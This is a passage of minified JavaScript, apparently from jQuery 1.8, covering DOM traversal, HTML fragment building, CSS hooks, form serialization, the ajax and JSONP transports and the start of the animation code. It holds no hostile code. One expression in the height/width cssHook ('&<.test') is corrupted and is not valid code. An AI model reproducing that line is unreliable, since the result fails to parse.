o=o.length>1?Z.unique(o):o,this.pushStack(o,"closest",e)},index:function(e){return e?"string"==typeof e?Z.inArray(this[0],Z(e)):Z.inArray(e.jquery?e[0]:e,this):this[0]&&this[0].parentNode?this.prevAll().length:-1},add:function(e,t){var n="string"==typeof e?Z(e,t):Z.makeArray(e&&e.nodeType?[e]:e),i=Z.merge(this.get(),n);return this.pushStack(s(n[0])||s(i[0])?i:Z.unique(i))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),Z.fn.andSelf=Z.fn.addBack,Z.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return Z.dir(e,"parentNode")},parentsUntil:function(e,t,n){return Z.dir(e,"parentNode",n)},next:function(e){return l(e,"nextSibling")},prev:function(e){return l(e,"previousSibling")},nextAll:function(e){return Z.dir(e,"nextSibling")},prevAll:function(e){return Z.dir(e,"previousSibling")},nextUntil:function(e,t,n){return Z.dir(e,"nextSibling",n)},prevUntil:function(e,t,n){return Z.dir(e,"previousSibling",n)},siblings:function(e){return Z.sibling((e.parentNode||{}).firstChild,e)},children:function(e){return Z.sibling(e.firstChild)},contents:function(e){return Z.nodeName(e,"iframe")?e.contentDocument||e.contentWindow.document:Z.merge([],e.childNodes)}},function(e,t){Z.fn[e]=function(n,i){var r=Z.map(this,t,n);return Le.test(e)||(i=n),i&&"string"==typeof i&&(r=Z.filter(i,r)),r=this.length>1&&!Re[e]?Z.unique(r):r,this.length>1&&Ie.test(e)&&(r=r.reverse()),this.pushStack(r,e,Y.call(arguments).join(","))}}),Z.extend({filter:function(e,t,n){return n&&(e=":not("+e+")"),1===t.length?Z.find.matchesSelector(t[0],e)?[t[0]]:[]:Z.find.matches(e,t)},dir:function(e,n,i){for(var r=[],o=e[n];o&&9!==o.nodeType&&(i===t||1!==o.nodeType||!Z(o).is(i));)1===o.nodeType&&r.push(o),o=o[n];return r},sibling:function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n}});var je="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",Ve=/ jQuery\d+="(?:null|\d+)"/g,Ue=/^\s+/,Be=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,He=/<([\w:]+)/,We=/<tbody/i,ze=/<|&#?\w+;/,qe=/<(?:script|style|link)/i,Ye=/<(?:script|object|embed|option|style)/i,Ge=new RegExp("<(?:"+je+")[\\s/>]","i"),Ke=/^(?:checkbox|radio)$/,Qe=/checked\s*(?:[^=]|=\s*.checked.)/i,Je=/\/(java|ecma)script/i,Ze=/^\s*<!(?:\[CDATA\[|\-\-)|[\]\-]{2}>\s*$/g,Xe={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],area:[1,"<map>","</map>"],_default:[0,"",""]},et=u(U),tt=et.appendChild(U.createElement("div"));Xe.optgroup=Xe.option,Xe.tbody=Xe.tfoot=Xe.colgroup=Xe.caption=Xe.thead,Xe.th=Xe.td,Z.support.htmlSerialize||(Xe._default=[1,"X<div>","</div>"]),Z.fn.extend({text:function(e){return Z.access(this,function(e){return e===t?Z.text(this):this.empty().append((this[0]&&this[0].ownerDocument||U).createTextNode(e))},null,e,arguments.length)},wrapAll:function(e){if(Z.isFunction(e))return this.each(function(t){Z(this).wrapAll(e.call(this,t))});if(this[0]){var t=Z(e,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){for(var e=this;e.firstChild&&1===e.firstChild.nodeType;)e=e.firstChild;return e}).append(this)}return this},wrapInner:function(e){return Z.isFunction(e)?this.each(function(t){Z(this).wrapInner(e.call(this,t))}):this.each(function(){var t=Z(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=Z.isFunction(e);return this.each(function(n){Z(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(){return this.parent().each(function(){Z.nodeName(this,"body")||Z(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(e){(1===this.nodeType||11===this.nodeType)&&this.appendChild(e)})},prepend:function(){return this.domManip(arguments,!0,function(e){(1===this.nodeType||11===this.nodeType)&&this.insertBefore(e,this.firstChild)})},before:function(){if(!s(this[0]))return this.domManip(arguments,!1,function(e){this.parentNode.insertBefore(e,this)});if(arguments.length){var e=Z.clean(arguments);return this.pushStack(Z.merge(e,this),"before",this.selector)}},after:function(){if(!s(this[0]))return this.domManip(arguments,!1,function(e){this.parentNode.insertBefore(e,this.nextSibling)});if(arguments.length){var e=Z.clean(arguments);return this.pushStack(Z.merge(this,e),"after",this.selector)}},remove:function(e,t){for(var n,i=0;null!=(n=this[i]);i++)e&&!Z.filter(e,[n]).length||(!t&&1===n.nodeType&&(Z.cleanData(n.getElementsByTagName("*")),Z.cleanData([n])),n.parentNode&&n.parentNode.removeChild(n));return this},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)for(1===e.nodeType&&Z.cleanData(e.getElementsByTagName("*"));e.firstChild;)e.removeChild(e.firstChild);return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return Z.clone(this,e,t)})},html:function(e){return Z.access(this,function(e){var n=this[0]||{},i=0,r=this.length;if(e===t)return 1===n.nodeType?n.innerHTML.replace(Ve,""):t;if("string"==typeof e&&!qe.test(e)&&(Z.support.htmlSerialize||!Ge.test(e))&&(Z.support.leadingWhitespace||!Ue.test(e))&&!Xe[(He.exec(e)||["",""])[1].toLowerCase()]){e=e.replace(Be,"<$1></$2>");try{for(;i<r;i++)1===(n=this[i]||{}).nodeType&&(Z.cleanData(n.getElementsByTagName("*")),n.innerHTML=e);n=0}catch(B){}}n&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(e){return s(this[0])?this.length?this.pushStack(Z(Z.isFunction(e)?e():e),"replaceWith",e):this:Z.isFunction(e)?this.each(function(t){var n=Z(this),i=n.html();n.replaceWith(e.call(this,t,i))}):("string"!=typeof e&&(e=Z(e).detach()),this.each(function(){var t=this.nextSibling,n=this.parentNode;Z(this).remove(),t?Z(t).before(e):Z(n).append(e)}))},detach:function(e){return this.remove(e,!0)},domManip:function(e,n,i){var r,o,a,s,l=0,c=(e=[].concat.apply([],e))[0],u=[],f=this.length;if(!Z.support.checkClone&&f>1&&"string"==typeof c&&Qe.test(c))return this.each(function(){Z(this).domManip(e,n,i)});if(Z.isFunction(c))return this.each(function(r){var o=Z(this);e[0]=c.call(this,r,n?o.html():t),o.domManip(e,n,i)});if(this[0]){if(o=(a=(r=Z.buildFragment(e,this,u)).fragment).firstChild,1===a.childNodes.length&&(a=o),o)for(n=n&&Z.nodeName(o,"tr"),s=r.cacheable||f-1;l<f;l++)i.call(n&&Z.nodeName(this[l],"table")?d(this[l],"tbody"):this[l],l===s?a:Z.clone(a,!0,!0));a=o=null,u.length&&Z.each(u,function(e,t){t.src?Z.ajax?Z.ajax({url:t.src,type:"GET",dataType:"script",async:!1,global:!1,throws:!0}):Z.error("no ajax"):Z.globalEval((t.text||t.textContent||t.innerHTML||"").replace(Ze,"")),t.parentNode&&t.parentNode.removeChild(t)})}return this}}),Z.buildFragment=function(e,n,i){var r,o,a,s=e[0];return n=(n=!(n=n||U).nodeType&&n[0]||n).ownerDocument||n,1===e.length&&"string"==typeof s&&s.length<512&&n===U&&"<"===s.charAt(0)&&!Ye.test(s)&&(Z.support.checkClone||!Qe.test(s))&&(Z.support.html5Clone||!Ge.test(s))&&(o=!0,a=(r=Z.fragments[s])!==t),r||(r=n.createDocumentFragment(),Z.clean(e,n,r,i),o&&(Z.fragments[s]=a&&r)),{fragment:r,cacheable:o}},Z.fragments={},Z.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,t){Z.fn[e]=function(n){var i,r=0,o=[],a=Z(n),s=a.length,l=1===this.length&&this[0].parentNode;if((null==l||l&&11===l.nodeType&&1===l.childNodes.length)&&1===s)return a[t](this[0]),this;for(;r<s;r++)i=(r>0?this.clone(!0):this).get(),Z(a[r])[t](i),o=o.concat(i);return this.pushStack(o,e,a.selector)}}),Z.extend({clone:function(e,t,n){var i,r,o,a;if(Z.support.html5Clone||Z.isXMLDoc(e)||!Ge.test("<"+e.nodeName+">")?a=e.cloneNode(!0):(tt.innerHTML=e.outerHTML,tt.removeChild(a=tt.firstChild)),!(Z.support.noCloneEvent&&Z.support.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||Z.isXMLDoc(e)))for(p(e,a),i=h(e),r=h(a),o=0;i[o];++o)r[o]&&p(i[o],r[o]);if(t&&(f(e,a),n))for(i=h(e),r=h(a),o=0;i[o];++o)f(i[o],r[o]);return i=r=null,a},clean:function(e,t,n,i){var r,o,a,s,l,c,d,f,p,h,g,y=t===U&&et,v=[];for(t&&"undefined"!=typeof t.createDocumentFragment||(t=U),r=0;null!=(a=e[r]);r++)if("number"==typeof a&&(a+=""),a){if("string"==typeof a)if(ze.test(a)){for(y=y||u(t),d=t.createElement("div"),y.appendChild(d),a=a.replace(Be,"<$1></$2>"),s=(He.exec(a)||["",""])[1].toLowerCase(),c=(l=Xe[s]||Xe._default)[0],d.innerHTML=l[1]+a+l[2];c--;)d=d.lastChild;if(!Z.support.tbody)for(f=We.test(a),o=(p="table"!==s||f?"<table>"!==l[1]||f?[]:d.childNodes:d.firstChild&&d.firstChild.childNodes).length-1;o>=0;--o)Z.nodeName(p[o],"tbody")&&!p[o].childNodes.length&&p[o].parentNode.removeChild(p[o]);!Z.support.leadingWhitespace&&Ue.test(a)&&d.insertBefore(t.createTextNode(Ue.exec(a)[0]),d.firstChild),a=d.childNodes,d.parentNode.removeChild(d)}else a=t.createTextNode(a);a.nodeType?v.push(a):Z.merge(v,a)}if(d&&(a=d=y=null),!Z.support.appendChecked)for(r=0;null!=(a=v[r]);r++)Z.nodeName(a,"input")?m(a):"undefined"!=typeof a.getElementsByTagName&&Z.grep(a.getElementsByTagName("input"),m);if(n)for(h=function(e){if(!e.type||Je.test(e.type))return i?i.push(e.parentNode?e.parentNode.removeChild(e):e):n.appendChild(e)},r=0;null!=(a=v[r]);r++)Z.nodeName(a,"script")&&h(a)||(n.appendChild(a),"undefined"!=typeof a.getElementsByTagName&&(g=Z.grep(Z.merge([],a.getElementsByTagName("script")),h),v.splice.apply(v,[r+1,0].concat(g)),r+=g.length));return v},cleanData:function(e,t){for(var n,i,r,o,a=0,s=Z.expando,l=Z.cache,c=Z.support.deleteExpando,u=Z.event.special;null!=(r=e[a]);a++)if((t||Z.acceptData(r))&&(n=(i=r[s])&&l[i])){if(n.events)for(o in n.events)u[o]?Z.event.remove(r,o):Z.removeEvent(r,o,n.handle);l[i]&&(delete l[i],c?delete r[s]:r.removeAttribute?r.removeAttribute(s):r[s]=null,Z.deletedIds.push(i))}}}),function(){var e,t;Z.uaMatch=function(e){e=e.toLowerCase();var t=/(chrome)[ \/]([\w.]+)/.exec(e)||/(webkit)[ \/]([\w.]+)/.exec(e)||/(opera)(?:.*version|)[ \/]([\w.]+)/.exec(e)||/(msie) ([\w.]+)/.exec(e)||e.indexOf("compatible")<0&&/(mozilla)(?:.*? rv:([\w.]+)|)/.exec(e)||[];return{browser:t[1]||"",version:t[2]||"0"}},t={},(e=Z.uaMatch(H.userAgent)).browser&&(t[e.browser]=!0,t.version=e.version),t.chrome?t.webkit=!0:t.webkit&&(t.safari=!0),Z.browser=t,Z.sub=function(){function e(t,n){return new e.fn.init(t,n)}Z.extend(!0,e,this),e.superclass=this,e.fn=e.prototype=this(),e.fn.constructor=e,e.sub=this.sub,e.fn.init=function(n,i){return i&&i instanceof Z&&!(i instanceof e)&&(i=e(i)),Z.fn.init.call(this,n,i,t)},e.fn.init.prototype=e.fn;var t=e(U);return e}}();var nt,it,rt,ot=/alpha\([^)]*\)/i,at=/opacity=([^)]*)/,st=/^(top|right|bottom|left)$/,lt=/^(none|table(?!-c[ea]).+)/,ct=/^margin/,ut=new RegExp("^("+X+")(.*)$","i"),dt=new RegExp("^("+X+")(?!px)[a-z%]+$","i"),ft=new RegExp("^([-+])=("+X+")","i"),pt={},ht={position:"absolute",visibility:"hidden",display:"block"},mt={letterSpacing:0,fontWeight:400},gt=["Top","Right","Bottom","Left"],yt=["Webkit","O","Moz","ms"],vt=Z.fn.toggle;Z.fn.extend({css:function(e,n){return Z.access(this,function(e,n,i){return i!==t?Z.style(e,n,i):Z.css(e,n)},e,n,arguments.length>1)},show:function(){return v(this,!0)},hide:function(){return v(this)},toggle:function(e,t){var n="boolean"==typeof e;return Z.isFunction(e)&&Z.isFunction(t)?vt.apply(this,arguments):this.each(function(){(n?e:y(this))?Z(this).show():Z(this).hide()})}}),Z.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=nt(e,"opacity");return""===n?"1":n}}}},cssNumber:{fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{float:Z.support.cssFloat?"cssFloat":"styleFloat"},style:function(e,n,i,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var o,a,s,l=Z.camelCase(n),c=e.style;if(n=Z.cssProps[l]||(Z.cssProps[l]=g(c,l)),s=Z.cssHooks[n]||Z.cssHooks[l],i===t)return s&&"get"in s&&(o=s.get(e,!1,r))!==t?o:c[n];if("string"===(a=typeof i)&&(o=ft.exec(i))&&(i=(o[1]+1)*o[2]+parseFloat(Z.css(e,n)),a="number"),!(null==i||"number"===a&&isNaN(i)||("number"===a&&!Z.cssNumber[l]&&(i+="px"),s&&"set"in s&&(i=s.set(e,i,r))===t)))try{c[n]=i}catch(Y){}}},css:function(e,n,i,r){var o,a,s,l=Z.camelCase(n);return n=Z.cssProps[l]||(Z.cssProps[l]=g(e.style,l)),(s=Z.cssHooks[n]||Z.cssHooks[l])&&"get"in s&&(o=s.get(e,!0,r)),o===t&&(o=nt(e,n)),"normal"===o&&n in mt&&(o=mt[n]),i||r!==t?(a=parseFloat(o),i||Z.isNumeric(a)?a||0:o):o},swap:function(e,t,n){var i,r,o={};for(r in t)o[r]=e.style[r],e.style[r]=t[r];for(r in i=n.call(e),t)e.style[r]=o[r];return i}}),e.getComputedStyle?nt=function(t,n){var i,r,o,a,s=e.getComputedStyle(t,null),l=t.style;return s&&(""===(i=s[n])&&!Z.contains(t.ownerDocument,t)&&(i=Z.style(t,n)),dt.test(i)&&ct.test(n)&&(r=l.width,o=l.minWidth,a=l.maxWidth,l.minWidth=l.maxWidth=l.width=i,i=s.width,l.width=r,l.minWidth=o,l.maxWidth=a)),i}:U.documentElement.currentStyle&&(nt=function(e,t){var n,i,r=e.currentStyle&&e.currentStyle[t],o=e.style;return null==r&&o&&o[t]&&(r=o[t]),dt.test(r)&&!st.test(t)&&(n=o.left,(i=e.runtimeStyle&&e.runtimeStyle.left)&&(e.runtimeStyle.left=e.currentStyle.left),o.left="fontSize"===t?"1em":r,r=o.pixelLeft+"px",o.left=n,i&&(e.runtimeStyle.left=i)),""===r?"auto":r}),Z.each(["height","width"],function(e,t){Z.cssHooks[t]={get:function(e,n,i){if(n)return 0===e.offsetWidth&<.test(nt(e,"display"))?Z.swap(e,ht,function(){return T(e,t,i)}):T(e,t,i)},set:function(e,n,i){return b(e,n,i?_(e,t,i,Z.support.boxSizing&&"border-box"===Z.css(e,"boxSizing")):0)}}}),Z.support.opacity||(Z.cssHooks.opacity={get:function(e,t){return at.test((t&&e.currentStyle?e.currentStyle.filter:e.style.filter)||"")?.01*parseFloat(RegExp.$1)+"":t?"1":""},set:function(e,t){var n=e.style,i=e.currentStyle,r=Z.isNumeric(t)?"alpha(opacity="+100*t+")":"",o=i&&i.filter||n.filter||"";n.zoom=1,t>=1&&""===Z.trim(o.replace(ot,""))&&n.removeAttribute&&(n.removeAttribute("filter"),i&&!i.filter)||(n.filter=ot.test(o)?o.replace(ot,r):o+" "+r)}}),Z(function(){Z.support.reliableMarginRight||(Z.cssHooks.marginRight={get:function(e,t){return Z.swap(e,{display:"inline-block"},function(){if(t)return nt(e,"marginRight")})}}),!Z.support.pixelPosition&&Z.fn.position&&Z.each(["top","left"],function(e,t){Z.cssHooks[t]={get:function(e,n){if(n){var i=nt(e,t);return dt.test(i)?Z(e).position()[t]+"px":i}}}})}),Z.expr&&Z.expr.filters&&(Z.expr.filters.hidden=function(e){return 0===e.offsetWidth&&0===e.offsetHeight||!Z.support.reliableHiddenOffsets&&"none"===(e.style&&e.style.display||nt(e,"display"))},Z.expr.filters.visible=function(e){return!Z.expr.filters.hidden(e)}),Z.each({margin:"",padding:"",border:"Width"},function(e,t){Z.cssHooks[e+t]={expand:function(n){var i,r="string"==typeof n?n.split(" "):[n],o={};for(i=0;i<4;i++)o[e+gt[i]+t]=r[i]||r[i-2]||r[0];return o}},ct.test(e)||(Z.cssHooks[e+t].set=b)});var bt=/%20/g,_t=/\[\]$/,Tt=/\r?\n/g,wt=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,St=/^(?:select|textarea)/i;Z.fn.extend({serialize:function(){return Z.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?Z.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||St.test(this.nodeName)||wt.test(this.type))}).map(function(e,t){var n=Z(this).val();return null==n?null:Z.isArray(n)?Z.map(n,function(e){return{name:t.name,value:e.replace(Tt,"\r\n")}}):{name:t.name,value:n.replace(Tt,"\r\n")}}).get()}}),Z.param=function(e,n){var i,r=[],o=function(e,t){t=Z.isFunction(t)?t():null==t?"":t,r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(t)};if(n===t&&(n=Z.ajaxSettings&&Z.ajaxSettings.traditional),Z.isArray(e)||e.jquery&&!Z.isPlainObject(e))Z.each(e,function(){o(this.name,this.value)});else for(i in e)S(i,e[i],n,o);return r.join("&").replace(bt,"+")};var kt,Ct,xt=/#.*$/,Et=/^(.*?):[ \t]*([^\r\n]*)\r?$/gm,$t=/^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/,At=/^(?:GET|HEAD)$/,Mt=/^\/\//,Pt=/\?/,Dt=/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,Ft=/([?&])_=[^&]*/,Lt=/^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+)|)|)/,It=Z.fn.load,Nt={},Ot={},Rt=["*/"]+["*"];try{kt=B.href}catch(en){(kt=U.createElement("a")).href="",kt=kt.href}Ct=Lt.exec(kt.toLowerCase())||[],Z.fn.load=function(e,n,i){if("string"!=typeof e&&It)return It.apply(this,arguments);if(!this.length)return this;var r,o,a,s=this,l=e.indexOf(" ");return l>=0&&(r=e.slice(l,e.length),e=e.slice(0,l)),Z.isFunction(n)?(i=n,n=t):n&&"object"==typeof n&&(o="POST"),Z.ajax({url:e,type:o,dataType:"html",data:n,complete:function(e,t){i&&s.each(i,a||[e.responseText,t,e])}}).done(function(e){a=arguments,s.html(r?Z("<div>").append(e.replace(Dt,"")).find(r):e)}),this},Z.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(e,t){Z.fn[t]=function(e){return this.on(t,e)}}),Z.each(["get","post"],function(e,n){Z[n]=function(e,i,r,o){return Z.isFunction(i)&&(o=o||r,r=i,i=t),Z.ajax({type:n,url:e,data:i,success:r,dataType:o})}}),Z.extend({getScript:function(e,n){return Z.get(e,t,n,"script")},getJSON:function(e,t,n){return Z.get(e,t,n,"json")},ajaxSetup:function(e,t){return t?x(e,Z.ajaxSettings):(t=e,e=Z.ajaxSettings),x(e,t),e},ajaxSettings:{url:kt,isLocal:$t.test(Ct[1]),global:!0,type:"GET",contentType:"application/x-www-form-urlencoded; charset=UTF-8",processData:!0,async:!0,accepts:{xml:"application/xml, text/xml",html:"text/html",text:"text/plain",json:"application/json, text/javascript","*":Rt},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"* text":e.String,"text html":!0,"text json":Z.parseJSON,"text xml":Z.parseXML},flatOptions:{ context:!0,url:!0}},ajaxPrefilter:k(Nt),ajaxTransport:k(Ot),ajax:function(e,n){function i(e,n,i,a){var c,d,v,b,T,S=n;2!==_&&(_=2,l&&clearTimeout(l),s=t,o=a||"",w.readyState=e>0?4:0,i&&(b=E(f,w,i)),e>=200&&e<300||304===e?(f.ifModified&&((T=w.getResponseHeader("Last-Modified"))&&(Z.lastModified[r]=T),(T=w.getResponseHeader("Etag"))&&(Z.etag[r]=T)),304===e?(S="notmodified",c=!0):(S=(c=$(f,b)).state,d=c.data,c=!(v=c.error))):(v=S,S&&!e||(S="error",e<0&&(e=0))),w.status=e,w.statusText=""+(n||S),c?m.resolveWith(p,[d,S,w]):m.rejectWith(p,[w,S,v]),w.statusCode(y),y=t,u&&h.trigger("ajax"+(c?"Success":"Error"),[w,f,c?d:v]),g.fireWith(p,[w,S]),u&&(h.trigger("ajaxComplete",[w,f]),--Z.active||Z.event.trigger("ajaxStop")))}"object"==typeof e&&(n=e,e=t),n=n||{};var r,o,a,s,l,c,u,d,f=Z.ajaxSetup({},n),p=f.context||f,h=p!==f&&(p.nodeType||p instanceof Z)?Z(p):Z.event,m=Z.Deferred(),g=Z.Callbacks("once memory"),y=f.statusCode||{},v={},b={},_=0,T="canceled",w={readyState:0,setRequestHeader:function(e,t){if(!_){var n=e.toLowerCase();e=b[n]=b[n]||e,v[e]=t}return this},getAllResponseHeaders:function(){return 2===_?o:null},getResponseHeader:function(e){var n;if(2===_){if(!a)for(a={};n=Et.exec(o);)a[n[1].toLowerCase()]=n[2];n=a[e.toLowerCase()]}return n===t?null:n},overrideMimeType:function(e){return _||(f.mimeType=e),this},abort:function(e){return e=e||T,s&&s.abort(e),i(0,e),this}};if(m.promise(w),w.success=w.done,w.error=w.fail,w.complete=g.add,w.statusCode=function(e){var t;if(e)if(_<2)for(t in e)y[t]=[y[t],e[t]];else t=e[w.status],w.always(t);return this},f.url=((e||f.url)+"").replace(xt,"").replace(Mt,Ct[1]+"//"),f.dataTypes=Z.trim(f.dataType||"*").toLowerCase().split(te),null==f.crossDomain&&(c=Lt.exec(f.url.toLowerCase()),f.crossDomain=!(!c||c[1]==Ct[1]&&c[2]==Ct[2]&&(c[3]||("http:"===c[1]?80:443))==(Ct[3]||("http:"===Ct[1]?80:443)))),f.data&&f.processData&&"string"!=typeof f.data&&(f.data=Z.param(f.data,f.traditional)),C(Nt,f,n,w),2===_)return w;if(u=f.global,f.type=f.type.toUpperCase(),f.hasContent=!At.test(f.type),u&&0==Z.active++&&Z.event.trigger("ajaxStart"),!f.hasContent&&(f.data&&(f.url+=(Pt.test(f.url)?"&":"?")+f.data,delete f.data),r=f.url,!1===f.cache)){var S=Z.now(),k=f.url.replace(Ft,"$1_="+S);f.url=k+(k===f.url?(Pt.test(f.url)?"&":"?")+"_="+S:"")}for(d in(f.data&&f.hasContent&&!1!==f.contentType||n.contentType)&&w.setRequestHeader("Content-Type",f.contentType),f.ifModified&&(r=r||f.url,Z.lastModified[r]&&w.setRequestHeader("If-Modified-Since",Z.lastModified[r]),Z.etag[r]&&w.setRequestHeader("If-None-Match",Z.etag[r])),w.setRequestHeader("Accept",f.dataTypes[0]&&f.accepts[f.dataTypes[0]]?f.accepts[f.dataTypes[0]]+("*"!==f.dataTypes[0]?", "+Rt+"; q=0.01":""):f.accepts["*"]),f.headers)w.setRequestHeader(d,f.headers[d]);if(!f.beforeSend||!1!==f.beforeSend.call(p,w,f)&&2!==_){for(d in T="abort",{success:1,error:1,complete:1})w[d](f[d]);if(s=C(Ot,f,n,w)){w.readyState=1,u&&h.trigger("ajaxSend",[w,f]),f.async&&f.timeout>0&&(l=setTimeout(function(){w.abort("timeout")},f.timeout));try{_=1,s.send(v,i)}catch(ue){if(!(_<2))throw ue;i(-1,ue)}}else i(-1,"No Transport");return w}return w.abort()},active:0,lastModified:{},etag:{}});var jt=[],Vt=/\?/,Ut=/(=)\?(?=&|$)|\?\?/,Bt=Z.now();Z.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=jt.pop()||Z.expando+"_"+Bt++;return this[e]=!0,e}}),Z.ajaxPrefilter("json jsonp",function(n,i,r){var o,a,s,l=n.data,c=n.url,u=!1!==n.jsonp,d=u&&Ut.test(c),f=u&&!d&&"string"==typeof l&&!(n.contentType||"").indexOf("application/x-www-form-urlencoded")&&Ut.test(l);if("jsonp"===n.dataTypes[0]||d||f)return o=n.jsonpCallback=Z.isFunction(n.jsonpCallback)?n.jsonpCallback():n.jsonpCallback,a=e[o],d?n.url=c.replace(Ut,"$1"+o):f?n.data=l.replace(Ut,"$1"+o):u&&(n.url+=(Vt.test(c)?"&":"?")+n.jsonp+"="+o),n.converters["script json"]=function(){return s||Z.error(o+" was not called"),s[0]},n.dataTypes[0]="json",e[o]=function(){s=arguments},r.always(function(){e[o]=a,n[o]&&(n.jsonpCallback=i.jsonpCallback,jt.push(o)),s&&Z.isFunction(a)&&a(s[0]),s=a=t}),"script"}),Z.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/javascript|ecmascript/},converters:{"text script":function(e){return Z.globalEval(e),e}}}),Z.ajaxPrefilter("script",function(e){e.cache===t&&(e.cache=!1),e.crossDomain&&(e.type="GET",e.global=!1)}),Z.ajaxTransport("script",function(e){if(e.crossDomain){var n,i=U.head||U.getElementsByTagName("head")[0]||U.documentElement;return{send:function(r,o){(n=U.createElement("script")).async="async",e.scriptCharset&&(n.charset=e.scriptCharset),n.src=e.url,n.onload=n.onreadystatechange=function(e,r){(r||!n.readyState||/loaded|complete/.test(n.readyState))&&(n.onload=n.onreadystatechange=null,i&&n.parentNode&&i.removeChild(n),n=t,r||o(200,"success"))},i.insertBefore(n,i.firstChild)},abort:function(){n&&n.onload(0,1)}}}});var Ht,Wt=!!e.ActiveXObject&&function(){for(var e in Ht)Ht[e](0,1)},zt=0;Z.ajaxSettings.xhr=e.ActiveXObject?function(){return!this.isLocal&&A()||M()}:A,function(e){Z.extend(Z.support,{ajax:!!e,cors:!!e&&"withCredentials"in e})}(Z.ajaxSettings.xhr()),Z.support.ajax&&Z.ajaxTransport(function(n){var i;if(!n.crossDomain||Z.support.cors)return{send:function(r,o){var a,s,l=n.xhr();if(n.username?l.open(n.type,n.url,n.async,n.username,n.password):l.open(n.type,n.url,n.async),n.xhrFields)for(s in n.xhrFields)l[s]=n.xhrFields[s];n.mimeType&&l.overrideMimeType&&l.overrideMimeType(n.mimeType),!n.crossDomain&&!r["X-Requested-With"]&&(r["X-Requested-With"]="XMLHttpRequest");try{for(s in r)l.setRequestHeader(s,r[s])}catch(q){}l.send(n.hasContent&&n.data||null),i=function(e,r){var s,c,u,d,f;try{if(i&&(r||4===l.readyState))if(i=t,a&&(l.onreadystatechange=Z.noop,Wt&&delete Ht[a]),r)4!==l.readyState&&l.abort();else{s=l.status,u=l.getAllResponseHeaders(),d={},(f=l.responseXML)&&f.documentElement&&(d.xml=f);try{d.text=l.responseText}catch(e){}try{c=l.statusText}catch(Q){c=""}s||!n.isLocal||n.crossDomain?1223===s&&(s=204):s=d.text?200:404}}catch(J){r||o(-1,J)}d&&o(s,c,d,u)},n.async?4===l.readyState?setTimeout(i,0):(a=++zt,Wt&&(Ht||(Ht={},Z(e).unload(Wt)),Ht[a]=i),l.onreadystatechange=i):i()},abort:function(){i&&i(0,1)}}});var qt,Yt,Gt=/^(?:toggle|show|hide)$/,Kt=new RegExp("^(?:([-+])=|)("+X+")([a-z%]*)$","i"),Qt=/queueHooks$/,Jt=[I],Zt={"*":[function(e,t){var n,i,r,o=this.createTween(e,t),a=Kt.exec(t),s=o.cur(),l=+s||0,c=1;if(a){if(n=+a[2],"px"!==(i=a[3]||(Z.cssNumber[e]?"":"px"))&&l){l=Z.css(o.elem,e,!0)||n||1;do{r=c=c||".5",l/=c,Z.style(o.elem,e,l+i),c=o.cur()/s}while(1!==c&&c!==r)}o.unit=i,o.start=l,o.end=a[1]?l+(a[1]+1)*n:n}return o}]};Z.Animation=Z.extend(F,{tweener:function(e,t){Z.isFunction(e)?(t=e,e=["*"]):e=e.split(" ");for(var n,i=0,r=e.length;i<r;i++)n=e[i],Zt[n]=Zt[n]||[],Zt[n].unshift(t)},prefilter:function(e,t){t?Jt.unshift(e):Jt.push(e)}}),Z.Tween=N,N.prototype={constructor:N,init:function(e,t,n,i,r,o){this.elem=e,this.prop=n,this.easing=r||"swing",this.options=t,this.start=this.now=this.cur(),this.end=i,this.unit=o||(Z.cssNumber[n]?"":"px")},cur:function(){var e=N.propHooks[this.prop];return e&&e.get?e.get(this):N.propHooks._default.get(this)},run:function(e){var t,n=N.propHooks[this.prop];return this.options.duration?this.pos=t=Z.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):N.propHooks._default.set(this),this}},N.prototype.init.prototype=N.prototype,N.propHooks={_default:{get:function(e){var t;return 